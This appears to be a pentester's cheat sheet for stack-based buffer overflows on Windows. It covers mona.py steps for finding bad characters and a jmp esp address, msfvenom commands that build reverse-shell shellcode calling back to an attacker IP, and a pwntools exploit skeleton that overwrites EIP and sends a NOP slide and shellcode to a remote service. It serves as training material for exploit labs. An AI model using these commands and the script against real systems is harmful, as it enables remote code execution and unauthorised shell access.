Binary Exploitation

Buffer Overflow

Stack based

mona.py TL;DR

  1. Configure work folder
    • !mona config -set workingfolder c:\mona\%p
  2. Generate local array that mona will use to determine bad char
    • !mona bytearray -b "\x00"
  3. Compare local array with ESP to identify bad chars
    • !mona compare -f C:\mona\<PATH>\bytearray.bin -a <ESP address>
  4. Generate a new local array without the identified bad chars
    • !mona bytearray -b "\x00 + <BAD_CHARS>"
  5. Repeat step 2 through 4 until there is no more bad chars
  6. Search for a jmp esp instruction in the binay
    • !mona jmp -r esp -cpb "<BAD_CHARS>"
  7. Generate shellcode
    • msfvenom -p windows/shell_reverse_tcp LHOST=$(iptun) LPORT=443 EXITFUNC=thread -f python -v shellcode -b '\x00'
  8. Done

Skeleton code sample

from pwn import *

ip = '127.0.0.1'
port = 4444
username = 'username'

def pdecode(data):
    print(data.decode('utf8'))

def getchars():
    all_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    all_chars += b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    all_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    all_chars += b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    all_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    all_chars += b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    all_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    all_chars += b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    all_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    all_chars += b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    all_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    all_chars += b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    all_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    all_chars += b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    all_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    all_chars += b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

    return all_chars


# open connection
s = remote(ip, port)

# receive username prompt
rep = s.recv(1024)
pdecode(rep)
# send username
s.send(f'{username}\n')
# receive password prompt
rep = s.recv(1024)
pdecode(rep)
# bof is in password -> increment until crash -> use the content of EIP to find the size of the offset cyclic_find(hex value)
offset = cyclic_find(hex value) # 1028
# data = cyclic(1100)
# eip = b'AAAA' -> !mona jmp -r esp -cpb "\x00"
eip = p32(0x10476D73)
payload = getchars()
# Generate shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.88.128 LPORT=1234 -b "\x00" -f python
buf =  b""
# [...]

lpayload = len(payload)
lnop = 64
nop_slide = lnop * b'\x90'
# data = cyclic(offset) + eip + payload
data = cyclic(offset) + eip + nop_slide + buf
# data = b'\x90' * offset + eip

s.send(data + b'\n')
rep = s.recv(1024)
pdecode(rep)

# close connection
s.close()